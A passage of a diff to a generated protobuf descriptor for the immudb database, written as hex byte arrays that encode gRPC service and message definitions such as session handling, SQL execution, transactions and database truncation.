0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, - 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, - 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, - 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, - 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, + 0x64, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x6e, 0x75, 0x6d, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, + 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, + 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, + 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, + 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, + 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, + 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, + 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, + 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, + 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, + 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, + 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, + 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, + 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, + 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, + 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, + 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, + 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, + 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, + 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, + 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, + 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, + 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, + 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, + 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, + 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, + 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, + 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, + 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, + 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, + 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, + 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, + 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, + 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, + 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, + 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, + 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, + 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, + 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, + 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, + 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, + 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, + 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, + 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, + 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, + 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, + 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, + 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, + 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, + 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, + 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, + 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, + 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, + 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, + 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 